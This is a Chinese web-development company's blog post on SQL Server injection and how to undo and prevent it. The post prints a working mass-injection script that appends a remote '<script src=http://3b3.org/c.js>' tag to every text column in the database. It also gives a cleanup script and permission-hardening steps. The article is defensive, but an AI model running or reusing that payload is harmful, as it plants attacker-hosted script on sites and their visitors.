新闻建站cms系统、政府cms系统定制开发

广州网站建设公司-阅速公司

asp.net新闻发布系统、报纸数字报系统方案
/
http://www.ysneo.com/
广州网站建设公司
您当前位置:首页>ASP.NET MVC

ASP.NET MVC

sql注入和反注入

发布时间:2009/7/13 16:51:36  作者:  阅读:1102  

广告:

注入操作:
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name From Sysobjects A,Syscolumns B Where

A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or

B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor
Fetch Next From Table_Cursor Into @T,@C

While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert

(Varchar(8000),['+@C+']))+''<script

src=http://3b3.org/c.js></script>''')
Fetch Next From Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor

消除注入代码的逆操作SQL

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name From Sysobjects A,Syscolumns B Where

A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or

B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor
Fetch Next From Table_Cursor Into @T,@C

While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=replace

(['+@C+'],''<script

src=http://3b3.org/c.js></script>'','''')')
Fetch Next From Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor


彻底杜绝SQL注入

1、不要使用sa用户连接数据库。
2、新建一个public权限数据库用户,并用这个用户访问数据库。
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 。
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”。
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= 'u ' and

(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

广告:

相关文章
sql注入和反注入
cms新闻系统购买咨询
扫描关注 广州阅速软件科技有限公司
扫描关注 广州阅速科技